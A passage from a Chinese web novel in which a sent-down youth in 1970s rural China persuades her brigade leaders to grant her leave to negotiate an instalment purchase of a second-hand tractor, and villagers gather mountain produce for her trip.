“你看看那边的窗户透没透雨。” 顾草根指了个方向，自己则是拿着手电朝着屋顶上照。 仓库的窗户并不大，只是在屋顶下面开了小小的通风的窗户，别说是人了，就连老鼠都不一定能爬的上去。 程十一过去看了看，确定没有雨水飘进来，就回头去看顾草根。 不过俩人中间都被粮食堆挡住了。 好机会！ 程十一赶紧将收进仓库里的粮食全都取出来，直接堆在粮食堆旁边，看不出来异常。 放心了。 程十一绕过粮食堆去找顾草根，发现顾草根还在看屋顶。 “大队长，屋顶漏雨了吗？” “没。” 顾草根也检查过了，放下心：“行了，你赶紧回去吧！” 一听这话，程十一下意识的就想答应，可又感觉好像不太对劲，便随口问了句：“大队长，你还不回去吗？” “我去地里看看。” 顾草根叹了口气：“这么大的雨，地里的粮食怕是也得遭殃了。” 程十一不理解：“地里的粮食为啥要遭殃？不是还没收割吗？” “没收割不代表就没事。” 顾草根看了一眼程十一，看在这个小丫头片子刚刚下乡来，对田间地头的活不了解的份儿上，他还是别发火了，还很耐心的解释：“地里的粮食都已经成了，如果只是简单的下一场雨，那倒是没啥太大的影响，但是这雨都下了一天了不说，还这么大，主要是还不见放晴，要是再这么下下去，麦穗怕是会掉在地上，再被雨水一泡，怕是就不能吃了。” 程十一的眼睛嗖的瞪得溜圆。 还有这么一说吗？ 原谅她是真的不知道这些啊！ “大队长，那咋办？现在安排人抢收吗？” 程十一嘴上问着，心里却在琢磨自己是不是也要跟着下地去抢收。 说真的，她是宝贵粮食，但这样的天气……她是真的不想冒雨上工啊！ 就这么一路走过来，那种在末世里挣扎的阴影就又浮上来了，真的是好几次都差点劝退她。 顾草根摇摇头：“这种天抢收的粮食也没地方晒，回头也还是会……唉！算了，回吧！我也回了。” 看了也是糟心，还是回家去吧！ 程十一跟着顾草根出了仓库，看着他将门锁重新上了，这才又跟着他继续往前走。 走着走着，顾草根就感觉不太对劲了，停下脚步转头看：“你这丫头还跟着我干啥？不回去，是要去我家啊？” 程十一抬起头，茫然的看了看。 哦豁，刚刚想事情太入迷，忘了在岔路口拐弯了。 “大队长，我有点事想和你商量商量，这不是想着去你家说嘛！” 程十一绝对不承认自己是想事情太入神了，结果才一直跟着的。 顾草根皱眉，但也没说什么，只是继续朝着自家的方向走。 大队长家的几间屋子倒是都有亮光，是整个大队灯光最多的人家了。 进了堂屋，程十一刚脱了雨衣，就看到大队长媳妇儿从一侧屋里走了出来。 一见程十一，大队长媳妇儿一愣，随即笑着招呼道：“小程知青来了啊！快进屋里来暖和暖和。” 堂屋倒是也有火墙，不过和屋里的炕相比，那温度还是差了些。 程十一也不客气，跟着进了屋。 这屋的面积可就要比程十一的那间屋子大多了，少说也得有三四十平米的样子，光是大炕就占了一半的空间。 炕稍上摆着一排炕琴，炕琴上面还有好几床被褥。 炕上倒是没坐其他人，只摆了一张炕桌，靠着窗户那边的墙上还有个被垛，看那形状应该是有人在那靠过。 “快上炕暖和暖和，这么冷的天，你咋还过来了？你坐着，婶子给你倒碗水。” 大队长媳妇儿嘴上叨叨着，动作也勤快，招呼程十一上炕后，人就又出去了。 大队长这会儿也进来了，脱了鞋，盘腿坐在炕头，看着程十一：“说吧，啥事。” 程十一嘿嘿一笑：“叔，我想和你请几天假。” “啥玩意儿？” 顾草根怀疑自己的耳朵是不是出了问题。 请假？ 还几天？ 这丫头知不知道现在是秋收阶段，要不是今天下大雨，这个时间点大家还都在地里干活呢！ 第118章 大队长心里苦啊！ 程十一一点都不意外会看到顾草根这样的反应。 秋收期间不能请假，自己不仅要请假，还要请好几天，顾草根要是没点反应那才叫有问题。 因为早就料到了，所以程十一也是有准备的。 “叔，这么和你说吧！我之前的养父母家，就是我下乡之前所在的那个家，我养父母都是钢铁厂的职工，你也知道，钢铁厂和很多工厂都有合作关系。” “我想回去一趟，看看能不能借我养父的关系联系到拖拉机厂。如果咱们大队能买一台拖拉机回来，哪怕只是个二手的，那对于咱们秋收，还是以后的春耕啥的都有好处。” 程十一的一张小脸儿板着，满脸全是严肃。 而顾草根则是听傻了眼。 下意识的揉了揉自己的脸，又掐了掐自己的胳膊，疼痛让顾草根明白自己这不是在做梦。 “妈呀，我说你这丫头咋啥都敢说啊！” 顾草根一张本就黝黑的脸现在看起来更黑了，指了指自己，又指了指窗外：“还，还拖拉机，你知道拖拉机多钱不？你，你就算把我，把咱们整个光荣大队全都拆了论斤称，也，也没有一台拖拉机的钱啊！” 他是大队长，比起别人来，他更希望自己管理的大队能够有一台拖拉机。 可拖拉机啊，那玩意儿一台就要好几千，他们大队忙碌一年下来，所有人的工分加起来都凑不出那么多。 真是应了那句老话了，初生牛犊不怕虎，而眼前的这个小牛犊子那不是一般的虎。 程十一眨巴眨巴眼，抓了抓自己的下巴：“你说的那是新的，如果是二手的，就是旧的，价格肯定能便宜不少。再说了，我也没说让咱们大队一下子就拿出来那么多钱啊！” “那你是啥意思？啊？你是啥意思？” 顾草根感觉这种大雨天的，自己就不该出去乱逛，就应该在家里躺着。 如果不出去就不会遇见这个丫头片子，就不会大雨天的被这个丫头片子气得脑仁子疼。 程十一歪头：“分期付款呗！” 顾草根：“啥分期付款？” 嗯，对，这个时候好像没有这个说法。 程十一开始了认真解释：“就是咱们先出一笔钱，然后按照月或者年的方式分批将剩下的钱交上，但是这个拖拉机呢会先送过来给咱们使用。” “啥玩意儿？还能这样？不给全部的钱就让用？” 顾草根表示深深的怀疑，完全的不相信。 程十一正要说话，就见大队长媳妇儿走了进来，手里还端着两碗水，都冒着热气。 其中一碗是透明的，已经塞给了大队长，而另外一番则是带着暗红色，送到了自己跟前。 “小程知青，赶紧喝点热乎水。” 大队长媳妇儿脸上带着笑，说完后又瞪了一眼大队长，接着又满脸笑的看着程十一：“你叔他就是那个狗脾气，你别和他一般见识。” 不等程十一点头，大队长媳妇儿又对大队长呵斥道：“你是不是有毛病？就不能好好说话是吧？人家小程知青还是个小姑娘，你就这么骂骂咧咧的，当她是那些糙汉子呢？” 程十一：…… 大队长媳妇儿这变脸绝技真的是……绝啊！ 大队长：…… 不是，啥玩意儿就是他的问题了？ “老婆子，你是没听见这丫头刚刚说了啥，你要是知道了……” “我知道啥？” 大队长媳妇儿一瞪眼珠子：“说了啥你也不能咋咋呼呼的啊！这也没外人，人家小姑娘就是来咱家坐会儿，你到底能不能好好说话？” “能能能！” 顾草根一看自家媳妇儿那掐腰瞪眼的样子，就知道自己这会儿得服软了，要不然回头遭罪的只会是自己。 可是对上程十一那双带着笑意的眼睛，顾草根心里那叫一个气啊，偏偏还不能表现出来，只能是黑着脸说：“你继续说，那到底是咋搞的。” 程十一吸溜了口红糖水。 唔，真甜，可没少放红糖啊！ 程十一又挪了挪位置：“婶子，你也坐下。” “哎，好，好。” 大队长媳妇儿就坐在了程十一身后的位置，对上大队长的眼神时还剜了一眼过去。 顾草根心里那叫一个苦。 他今天就不该出去！ 死脚，死脚，干啥非要这个天往外走啊！ 程十一喝了两口水，这才放下水碗，将自己的计划说了出来。 整体来说就是她回下乡前所在的城市一趟，联系一下看看能不能谈一台拖拉机回来。 当然，不是那种全款买下来的，可以做分期付款的那种。 一来一回的，路上的时间，加上谈这件事的时间，怎么也要五七八天的样子。 “所以，大队长，我请八天假，就算我真的谈不成这件事，最多也就是我少赚这八天的工分，等回来了也还是能赶得上秋收的，到时候我一定多干活，多努力，争取把这八天的工分补回来。” “当然了，如果我能谈下拖拉机这事，那咱们接下来的秋收工作可就容易多了。” 程十一一脸真诚的看着顾草根。 顾草根皱眉低着头，一直没说话，甚至还拿出了自己的旱烟，正要点上，却见面前多出来了一只小爪子，爪子上面还有……一包烟？ 依旧是黄金叶，全新的，一看就是没拆封的。 “大队长，那个旱烟的味道真的是太难闻了。其实不抽烟是最好的，对身体好，但如果你要实在想抽，那就抽这个吧！” 程十一将烟放在了顾草根跟前的炕上：“我那还有烟，我又不抽烟，回头都给您送过来吧！” 顾草根的眼珠子都快瞪出来了。 好家伙，现在送礼都这么不遮掩了吗？都，都说要包下自己的烟了？ 抬头看向程十一，顾草根的表情是说不出的一言难尽：“你这丫头，不，不能这样！这要是被人知道了，我顾草根成啥人了？赶紧收回去！” 说不想收，那是假的。 但一包两包的，他收了也就收了，可要是再多收，别说别人知不知道，就算没人知道，他这心里的那道坎也迈不过去。 第119章 又遇见顾青同志了 “哦，叔要是不收，那就帮我扔了吧！反正这玩意儿对我来说是一点用都没有，还占地方。” 程十一说完就又挪回了之前的位置，还端起水碗吸溜了一口，又转头对大队长媳妇儿说道：“婶子，我听说咱们这里的山货可多了，是有这回事不？” “啊？啊！是，是有这么回事。” 大队长媳妇儿此时都已经听傻眼了。 啥玩意儿拖拉机，啥玩意儿付款啥的，她听得那叫一个懵圈。 他们光荣大队这是要有拖拉机了？ 这是好事啊！可为啥自家老头子一脸的纠结不情愿呢？ 程十一顺杆问：“那咱们这里是不是谁家都得有点干货啥的啊？能给我换点不？” “你想吃啊？婶子家就有，婶子这就给你拿去。” 村长媳妇儿叫蔡桂琴，一听这话赶忙就要站起来。 程十一忙拉住对方胳膊：“不是现在，我是寻思着如果大队长能给我假的话，我就带点山货回去。虽说我这是下乡了，以后很有可能就不会再搬回去了，但怎么说都有不少认识的人，我寻思着给他们带点山货，也算是人情往来的走动了。” 听着这话，蔡桂琴一时间都不知道该说点什么好了。 她是大队长媳妇儿，见识什么的不能说有多广，但总归是比大队上的一般农村妇女要强上一些。 听话听音。 这小程知青说是给认识的人带山货，人情走动，可说到底，那也是给他们光荣大队的社员带来收入。 山货那东西，供销社和收购站倒是也收。 山里的东西是多，可去找山货的人也多，送去的人多，这就造成了收购的价格并不高。 甚至忙活了一溜十三招了，可能还不如上工赚的那点工分值钱。 除非是秋收之后大家顺带着捡点山货回来贴补家用，买个针头线脑的，否则还真很少有人专门去找山货去卖。 因为是真的不值当。 更多的还是留着自家吃，过年的时候多个零食给孩子们甜甜嘴儿，或是直接当做口粮，在青黄不接的时候不让家里人饿肚子。 但如果有人直接在大队里收这些山货，即便价格不如供销社和收购站，可大家也不用特意跑那么远，倒也不错。 “那啥，闺女，你要多少，都要啥，回头婶子给你问问，具体能不能有，这个婶子也不能保证哈！” 蔡桂琴可不敢现在就拍板定下来。 请假这种大事，还是在秋收的时候请假，自家老头子一个人也拍不了板，回头还是得和其他干部商量商量，保不齐还得开会研究。 程十一也没想过只靠着枕头风就能将这件事定下来，倒也不失望：“行，婶子帮我问问都有啥干货。” 又看向顾草根：“大队长，这件事您想想，要是行，那咱们就尽快安排，要是不行，那也没啥，我还是该上工上工，保准不磨洋工。” 自己的意思已经表达到位了，下一步的选择权不在自己手里。 将碗里的红糖水喝完，程十一抹了抹嘴：“时候不早了，我也先回去了。” 说完就跳下炕。 “你吃饭了没啊？在婶子家吃口饭再回去吧！” 蔡桂琴也跟着站起来。 程十一正要摆手摇头，就听见外面传来一阵喊声：“爷，爷，我青叔来了！” “顾青那小子这会儿过来干啥啊？还下雨呢！” 最先反应过来的才蔡桂琴。 听到这个名字，程十一挑了挑眉。 这是什么种类的孽缘啊，怎么她一来大队长家就能和顾青遇见？ 顾草根还在想拖拉机的事，一时间也没回过神，还是被自家老婆子拍了下肩膀才回神。 下意识的将面前的黄金叶揣进兜里，这才下地：“这是咋的了？” 蔡桂琴道：“顾青来了。” “他这会儿来干啥？” 顾草根一听就皱了眉：“先让人进来。” 又看到已经走到门口的程十一，顾草根道：“你这丫头等会儿吧！等会儿让顾青送你回去，外面天都黑了，还下这么大的雨，你一个人走不安全。” 程十一的脚步一顿，很想说一句不用的，可是还不等她开口，外面就冲进来个五六岁的小男孩儿，身上披着蓑衣，光着脚，跑得气喘吁吁的：“爷，爷，我青，青叔来啦！” 屋里虽然点了盏煤油灯，可光线也不算很明亮，加上小男孩儿的速度不慢，跑进来后直接撞在了程十一的怀里。 程十一赶忙扶住小孩子，同时心里感叹：这孩子可真有劲儿！ 撞得她肚子疼。 “你这孩子，瞎跑个啥！” 蔡桂琴赶忙将自家孙子拉过来，又关切的问程十一：“撞着了吧？撞疼了没？赶紧给婶子看看。” “没没事。” 程十一赶紧摆手。 她被撞了下肚子，这咋给人家看？ 正在说话，就听见外屋有人进来，同时还有男人低沉的嗓音传进来：“叔，在家吗？” “在家在家。青小子，快进屋来！” 蔡桂琴一边招呼，还一边拉着程十一和自家孙子往屋里走。 程十一傻眼。 不是，她真不需要人送啊！ 可高大的身影已经进了屋，愣是让程十一想要先走一步都来不及。 “叔，婶。” 顾青先和两位长辈打了招呼，这才看向了程十一。 在这个时候还是在大队长家里看到程十一，这是顾青怎么都没想到的。 不过顾青很快就点了点头：“你好，程同志！” “你好。” 程十一扯了扯嘴角，给了对方一个不失礼貌但很尴尬的微笑。 顾草根这会儿已经穿好鞋了，不过还坐在炕头上：“顾青，你咋这会儿过来了？有啥事？” “叔，明天就要回部队了，过来和您说一声，明天中午我就走了。” 顾青倒也没绕弯子，直接说出了自己来的目的。 接着，就看顾青从衣兜里拿出了个手帕。 应该是灰色的格子手帕，被叠得整整齐齐的，还有点鼓，应该是包了什么东西。 顾草根皱眉：“这次的假期咋这短？” “先走几天，正好路上还能去别的战友家里看看。” 顾青笑着解释，同时将手帕打开了放在炕沿上：“这里面的五十块钱是我给村里的五保户捐的。” 第120章 谁家好人大半夜的找人开会啊 “你这孩子……” 顾草根看着躺在手帕上的几张大团结叹气：“你说说你每个月的津贴才多少，要给你家里，还要贴补大队的五保户，你说你还能攒下几个钱啊！” “不碍事，我吃喝都不用花钱。” 顾青却很轻松：“大队长，那没事我就先走了。” 他这会儿过来就是送钱来的。 顾草根刚要点头，突然注意到了程十一，便道：“你正好把小程知青送回去吧！天黑路滑的，她一个小丫头走我不放心。” 顾青也看向了程十一，倒是没犹豫，直接点头答应下来。 俩人就这样一起离开了大队长家。 回去的路上，两个人一前一后。 程十一走在前面，虽然大雨滂沱，可是她能够听见后面的脚步声。 真是……唉！ 她真挺不习惯这样被人送回来的。 一直到了程十一家的大门口，程十一这才转身看向身后的人：“我到家了，那个，谢谢你哈！” “没事。” 顾青点点头，也没多说什么，转身就走了。 看着离开的身影，程十一突然想到什么，又说了句：“今天早上谢谢你哈！” 顾青的脚步一顿，侧身回头看向程十一：“你已经谢了很多次了。” 也不知道是不是雨声影响了声音的传播，程十一愣是听出了对方这话里带出来的笑意。 不是，这男人在笑什么啊？ 她就是虚伪的客气一下表示感谢，这有啥可笑的？ 不过程十一没问出口，而顾青说完那番话后便继续朝前走去。 程十一回了家，换下了雨衣和雨靴，就在厨房里忙活开来。 还别说，出去折腾了这么一趟，肚子竟然有点饿了。 虽说不确定明天会不会上工，可是这样的天气很难得，抓紧多做点吃的，回头真等上工了，想吃什么也方便，不用拖着疲惫的身体再忙着做饭。 有点馋炸鸡了。 商城里有卖现成的炸鸡，也有卖半成品的。 程十一选择买半成品回来。 别问，问就是价格差的太多了。 一份现成的炸鸡竟然就要十块钱，虽然是一整只鸡，可那也太贵了！ 但半成品就不一样了，只要两块钱一只。 有了炸鸡，那就得有薯条啊！ 看着半锅油，不能浪费了，索性就多炸点其他东西吧！ 土豆、茄子、青椒，切好了下锅炸，等下做地三鲜。 唔，有点馋锅包肉了。 炸！ 这一忙就忙到了晚上九点多。 看着厨房和炕上摆着的大盆小盆的炸货，程十一那叫一个有成就感。 唯一的缺点就是被油烟熏得没了胃口。 将东西收拾起来，程十一也不吃饭了，只买了个苹果，坐在炕上啃着苹果看着书。 书是连环画，在废品站里买回来的。 怎么说呢，不能说不好看，但也没有很好看，反正在没有其他娱乐项目的情况下，这玩意儿还是能看一看的。 苹果吃完了，一本连环画也看完了。 程十一打了个哈欠。 这都快十点了，收拾收拾睡觉！ 在当下这个时代，十点睡觉就已经算是晚睡了。 来到这里这么长时间了，程十一还真有点不习惯这样突然的“熬夜”。 刚洗完脸，正打算钻进被窝里，突然听见外面有拍门声。 程十一细听了下，确认了这是在拍自家大门，不由得有些恼火。 都这个时候来拍门，啥事啊，天塌了啊！ 烦躁的抓了抓头发，程十一还是披上了雨衣，邋遢着塑料拖鞋去开门。 大门打开后，程十一不由得惊了下。 好家伙，看样子真是天塌了，要不然自家门口咋能站着这么多人？ 为首拍门的是顾草根这个大队长，而在他身后还跟着五六个人，有男有女，基本上都是穿着蓑衣，也有人撑着雨伞。 “小程知青，你还没睡啊！” 顾草根抹了一把脸上的雨水：“那啥，你现在跟我们去一趟大队部吧！” “现在？” 程十一的声音拔高了几分：“大队长，你知道现在几点了不？” 十点了！ 晚上十点了啊！ 谁家好人这个时候不在家睡觉，还要冒雨去大队部的？ 顾草根的嘴角不受控制的抽了抽，没好气的说道：“你不是说要请假吗？现在不去，明天万一天晴了，可就不谈这事了啊！” 一提到请假，程十一的火气瞬间消散。 不过，让她去大队部是不可能去的。 程十一说道：“大队长，天黑路滑，你们也别折腾了，进屋里来说吧！” 反正她不去大队部，太远了。 顾草根有些犹豫，还是跟在他身边的蔡桂琴没好气的拍了一下他的后背：“还愣着干啥啊，我和芬姐都在。” 芬姐，就是大队的妇女主任，叫王彩芬。 “行吧！” 顾草根也不坚持了。 其实这天气，这个时间，他也不是很想来回跑。 程十一率先朝着屋里走。 她得把被褥卷起来，要不然就自己那个小房间还真不一定能坐得下这么多人。 人陆陆续续的进来了，都很默契的将蓑衣或者雨伞放在了厨房靠着大门的方向。 “这屋里真香。” 蔡桂琴进来后就吸了吸鼻子。 空气中才有很明显炸东西后的气味。 程十一在屋里听见了，咧了咧嘴。 糟糕，忘了这一茬了。 之所以选择雨天做好吃的，就是因为气味不容易飘散出去。 就是没想到大晚上的家里还会来这么多客人。 “昂，晚上做了点吃的。” 程十一嘿嘿笑：“这不是不用上工么，就想着做点好吃的犒劳犒劳自己。” 说话间，蔡桂琴和王彩芬就先走了进来。 看到被褥已经卷起来，小姑娘身上套着一身外衣，确定没有什么不适合外男看的，俩人才招呼另外四个男人进来。 “各位领导，炕上坐。” 程十一招呼众人。 不过只有两位女士坐在了炕沿，至于进来的四个大男人则是俩俩坐一起。 也就是屋里有两个长条凳，否则还真坐不下。 程十一被王彩芬和蔡桂琴拉着坐在了她们俩中间。 时间也不早了，顾草根也就没了那么多废话普电脑，直接问：“丫头，你说的拖拉机的事有多大把握能成？” 第121章 这到底是啥牌子的孽缘啊 程十一眨眨眼，心说：我倒是有百分百的把握，就是不知道你们敢不敢信。 心里想的归心里想的，表面上程十一还是装作认真思考了一番才道：“能有六七成的把握吧！” 顿了下，不等其他人说话，程十一又道：“剩下的不确定原因就在于咱们大队能不能接受价格。” “这个，这个……” 顾草根的手不自觉地在裤子上摸了摸，似乎是在擦掌心的汗。 看着他这副样子，王彩芬没好气的翻了个白眼，直接拉着程十一的手说道：“闺女，你给咱们交个底，这个价格大概能有多少钱，要真是能够按照你说的那个啥分着给钱的算，咱们咋给钱？” 问得可真够直接的。 程十一摇头：“具体的我也说不清楚，但以前听说一台新的拖拉机咋也要万八千……” 话还没说完，就听众人齐齐倒吸凉气。 他们知道拖拉机贵，但也以为几千块钱应该就差不多了，没想到这都上万了。 程十一摆摆手，示意大家继续听她说：“不过咱们买台旧的回来就成了。” “那旧的得多钱啊？” 王彩芬的语气明显有些着急。 程十一抓了抓下巴。 她哪知道二手的多少钱啊，反正肯定比新的便宜。 虽然不知道，但不妨碍她胡说八道。 “至少得折半吧！估计最多也就是四五千。” 这个答案让大家的心情那叫一个纠结。 要说便宜吧，也是真不便宜，四五千也是挺老大的一笔钱了。 但要说贵吧，也是真不贵，毕竟新的的得要万八千呢！ “大家看，这事咋办，搞不搞？” 顾草根看向其他人。 这事太大了，不是他一个人能拍板定下来的。 钱大成本来想点旱烟抽的，可是在看到王彩芬瞪过来的眼刀子后，他又默默地将已经拿出来一半的烟袋子又重新放进了兜里。 “闺女，那个旧的拖拉机能不能有啥毛病？” 钱大成还是开了口，只是问出来的话小心翼翼的，好像生怕惹了程十一不高兴。 程十一倒是没有不高兴，反而还很淡定的回答：“多少可能会有点小毛病吧，也可能就是外表有些旧。不过这个放心，如果真的能谈成，那我肯定是要让他们给咱们一份详细的解释介绍，还有一些常见的小毛病啥的咋解决，这些都会让他们写下来。” 自己学是不可能学的。 她最多就会修个自行车，还是一些最简单的掉链子缺气之类的小问题。 不过提到了这一点，程十一倒是想到了另外一个问题：“这些其实都是小问题，咱们公社应该有拖拉机，就算公社没有，那市里肯定也有。到时候真要有什么问题解决不了，到时候找人问问就是了。” “当下的一个重要问题是拖拉机手该选谁，这个还需要各位领导研究研究。” 这个时候的拖拉机对于大家来说那绝对是个宝贝疙瘩，肯定很多人都削尖了脑袋想要学习，可这里面绝对不包括程十一。 一想到那种从头颠簸到尾的感觉，程十一严重怀疑自己要是真当了拖拉机手，很有可能骨头架子都会颠散了。 大家相互看了一眼，倒是没人接这个话题。 顾草根看向钱大成，钱大成微微点了点头。 又看向王彩芬，王彩芬也微微点了点头。 再看向另外两个大队干部，这俩人也是同样的微微点头。 很好，他们全票通过了！ “丫头，这个假，咱们大队给你批了！不过对外就不说你是去整拖拉机了，就说是你家里有急事让你回去一趟，一共给你八天假，你看行不？” 顾草根可不想事情还没办成就先传得沸沸扬扬的，到时候万一整不来拖拉机，他们几个大队干部丢脸不说，程十一这个新来的知青怕是会被人戳破脊梁骨。 人家小程知青也是为了大队好，他们这些做干部的总不能让人家小丫头担一切。 程十一倒是没想到竟然这么快就定下来了，当即点头：“行！那我明天就去市里，赶最快的火车回去。” 顿了顿，程十一又道：“就说我家里父母都生病了，快不行了，我得赶紧回去看最后一眼。” 真是没想到王海柱和姜美妮这俩人竟然会在这种时候发挥这样的作用。 只是此话一出，在场的六个人全都用一种复杂的眼神看着程十一。 这小程知青也太实在了，就为了给大队张罗拖拉机的事，竟然连自己爹娘生病这样的借口都用上了。 “倒，倒也不用这样。” 顾草根清了清嗓子：“那啥，你不是要带点山货回去吗？明天早上就让你婶子给你张罗去，你看看张罗多少合适。” 可别继续讨论请假的原因了，顾草根是真怕这虎丫头说出自己爸妈死了，她赶着回去奔丧这样的话。 这只是顾草根的腹诽，却不曾想他这也算是一语成谶了。 这一次回到原主曾经生活的城市，程十一还真就赶上了这样的事。 程十一一听到“山货”，赶忙拉着蔡桂琴的手说道：“婶子，有多少弄多少吧！主要是要质量好的。” “你这丫头，整太多了你也背不走啊！” 蔡桂琴哭笑不得。 顾草根却突然说道：“多整点也没事，顾青那小子不是也要走了吗？我记得好像是路过小程知青的老家，正好让他送一程，俩人有个伴，我也能放心些。” 蔡桂琴也反应过来了，连连说好。 其他人也都是一脸的赞同，只有程十一一脸的惊悚。 不是，这到底是啥牌子的孽缘啊，咋就断不了是不是？ 她还想着自己一个人坐车赶路，就算弄不到卧铺，至少也不用真的弄一堆东西背着走，而且吃的喝的也能随着自己的心意来。 现在突然给自己安排了个同行者，这还让她咋操作？ 可看着这六个人齐齐点头通过这一决定的样子，程十一的嘴张了合，合了张，愣是没给她说出拒绝的话，这六个人就一起离开了她家。 程十一站在大门口看着走远的六个人，欲哭无泪。 不带这样婶儿的啊！ 第122章 车上怎么熬？和顾青眼瞪眼 大雨是在后半夜停的。 第二天一早，天空瓦蓝瓦蓝的，就跟被水冲洗过一样，干净得那叫一个透亮。 随着一阵阵鸡叫声，整个光荣大队都开始变得热闹起来。 今天虽说雨停了，但上午还是不能上工，因为地里的土还都是泥泞的状态，一脚踩下去滑不说，还不好将脚拽出来。 行动困难还不是主要原因，主要是那些稻子万一散落了，再被人踩到泥里，那真是捡都捡不起来。 田里的泥土需要晾干一些，扬场的地面也要晒干一些，否则收上来的粮食都没个地方晾晒。 蔡桂琴一早起来连饭都没做就出门去了。 小程知青要收点山货带回老家去，有顾青那小子跟着，肯定能多带不少，那自己家的那点存货就不够看了。 但是整个村子的张罗也不现实，到时候收谁家的不收谁家的都容易出毛病，不如就私下里找和自己相熟的老姐妹家里收一收，凑吧凑吧的也就够了。 昨天晚上睡得晚，程十一醒来的时候都已经快十点了，就这还是被隔壁的陈丽娇喊醒的。 打开窗户，程十一对着隔壁院子喊：“娇娇姐，我醒了，啥事啊？” 陈丽娇就知道这小丫头肯定是睡懒觉了，便道：“你是真能睡啊！赶紧起来洗把脸，下午就上工了，中午你来我这里吃饭，别自己做了。” 程十一揉了揉眼睛，下意识的就要答应，突然想到了什么，赶忙改口：“娇娇姐，你不用带我的饭了，我等会儿就得出门。” “你要干什么去？” 陈丽娇很惊讶。 程十一叹气：“你还是过来我这里吧！我和你细说。” 昨天大半夜敲定的事，自己还没来得及和陈丽娇说一声。 说起来俩人都是一个地方来的，也不知道她亲爱的娇娇姐想不想给家里人带点什么东西回去。 陈丽娇说了声马上，便脚步匆匆的回了屋。 程十一也赶紧穿了衣服，连被子都没来得及叠就先跑出去开大门，再一溜烟的跑回来将被褥叠好。 刚往水盆里倒了水，还不等洗把脸，陈丽娇就过来了。 “今天外面的道肯定难走，你要去哪里啊？” 陈丽娇进来的时候也没空着手，手里端着碗，里面是大半碗的红糖水，里面还卧着两个鸡蛋：“先把这个吃了垫垫肚子。” 程十一先洗了脸，囫囵不清的说道：“我要回老家一趟，你有啥要带回去的没？” “啥？” 陈丽娇见程十一的牙膏牙刷就放在一旁，便上前帮忙挤牙膏，听了对方的话，陈丽娇的第一个反应就是自己耳朵里塞鸡毛了，出了幻觉。 程十一抓着香皂在手心里转了转，将自己要回去的事又说了一遍。 这下可以确定自己的耳朵没有塞鸡毛了，可是，这也太难以置信了吧！ “咱们刚下乡，你怎么就要回去？是不是家里出事了？” 陈丽娇不仅没有羡慕和高兴，反而很是担心。 程十一耸耸肩：“问题不大，我就请八天假而已，到时候还会回来。” 说着，程十一将手心里的泡沫揉在脸上。 这次不说话了，怕泡沫进嘴里。 话说这香皂还是她特意在商城里买的精油皂，不过选的是那种看起来最朴实无华的，像是那些透明里面带着花朵的，她压根就不敢碰。 将脸上的泡沫洗掉，程十一将脸上的水擦干，又接过陈丽娇递过来的水杯和挤好牙膏的牙刷，继续囫囵个儿的说话：“反正就是我要回去一趟，咱俩是在一个地方上车的，所以我想问问你要不要给家里人带点啥。” “呼噜噜！呸！” “这次也不是我一个人回去，还有个顾同志也和我一起，他会帮忙搬东西，所以可以多带点，比如这里的山货啥的。” 程十一将嘴里的泡沫全都冲干净了，拿着毛巾擦了擦嘴，这才端起红糖鸡蛋，一仰头，喝了一大口甜滋滋的红糖水。 陈丽娇虽然还是震惊，不过见程十一的样子不像是出什么大事，担心倒是少了不少。 想了想，陈丽娇有些不好意思的说道：“十一，那，那帮我给家里带点山货吧！我觉得这里的蘑菇和木耳都特别好吃。本来还想下次去公社的时候给家里邮寄一些回去，现在就辛苦你啦！” “成！” 程十一完全不在意：“正好，等下估计大队长家的婶子就会过来了，你看看你要多少，单独分出来，再把地址留给我，我直接给你送货上门，保准儿不带出错的！” “啊！十一，有你这个妹妹，我真的是太幸福啦！” 陈丽娇见程十一这样，心里那叫一个开心啊！ 她就知道她的十一妹妹最好了呢！ 不行，她得赶紧再写封信让十一妹妹带给家里人才行！ “十一，你先收拾，我回去给我爸妈写封信，你也帮我带回去。” 闻言，程十一只是摆了摆手。 陈丽娇转身就往外面跑。 要说收拾东西，程十一表示自己是真没什么好收拾的。 来回一共八天，带两身换洗的衣服装装样子就行，至于吃喝……带上饭盒和罐头瓶子，也可以了。 这次同行有个顾青在，自己也就不做什么小动作了，全程花钱花票解决。 程十一昨天晚上就已经有了这样的决定，现在自然是更加不慌乱。 就是想到昨天晚上炸的那些炸货，她有点小懊恼。 真是的，今天怕是也吃不上了。 虽说系统仓库有保鲜功能，可不能在想吃的时候吃到嘴，这本身就是一件很让人抓狂的事。 越想越馋。 程十一感觉自己今天要是还是吃不上那些炸货，她一定会疯。 所以，带行李！ 反正山货有人拎着，自己就提个箱子好了！ 之前在供销社买的藤条箱子现在算是派上了用场。 两套换洗衣服也不占什么地方，剩下的空间，程十一决定全部用来装吃的！ 不仅把炸货装上，还要装上点水果点心瓜子之类的才行，要不然那么长的车程呢，总不能和那个叫顾青的干瞪眼熬着吧！ 第123章 大队长媳妇儿带来了四大个麻袋 蔡桂琴带着两个儿媳妇儿，一共拎着四个麻袋来到程十一家时，程十一正在炕前面站着，面前是已经装了一半的皮箱。 听到声音的同时一抬头，就看到蔡桂琴和她的两个儿媳妇儿已经进了院子。 程十一赶紧迎出去。 看着那四个半人高的麻袋，程十一有点怀疑人生。 不是，这是认真的吗？ 虽说她是真的不怕东西多，但好像也不至于这么多吧！ 如果她没记错的话，东北的山货基本上都是晒干的。 四大个麻袋的干货，真要用来送人，那得送多少人？整个家属区吗？ “闺女，这是我早上收上来的，一家一袋，你看看相中哪一袋了就挑哪袋，剩下的我再送回去。” 蔡桂琴一看到程十一那张大的嘴巴，感觉下巴都快要掉到地上去了，赶忙抢先解释。 她又不是老糊涂，就算顾青那小子再怎么有把子力气，那也不能一个人背四个大的麻袋。 至于小程知青…… 看着那瘦小的身板子，就算是有点力气，可身高是硬伤，都没比麻袋高出两个头去，还是别指望她背着麻袋去坐火车了。 还不知道又被嫌弃身高的程十一这会儿也反应过来了，忙道：“真是太谢谢婶子了。那这四个袋子里都是装的啥？” 程十一其实也不是很会挑山货，毕竟以前在末世之前虽然也买，可那个时候都已经形成了产业链了，各种品牌可供挑选，要不然就是去超市的干果区挑选。 那质量不能说个个都好吧，可优质率还算挺高的。 哪像现在啊，纯纯的就是产业链的第二步，仅次于自己上山亲自去捡了。 蔡桂琴笑着说道：“这地上太湿了，进屋看吧！” 程十一赶忙邀请人进屋，不过这三个人和四个袋子也只是停在了厨房里就没进屋了。 蔡桂琴让两个儿媳妇儿将袋子全都打开。 最上面的是木耳。 木耳的个头并不大，也就比大指甲盖大不了多少。 不过看起来还算不错，没有虫蛀之类的破损。 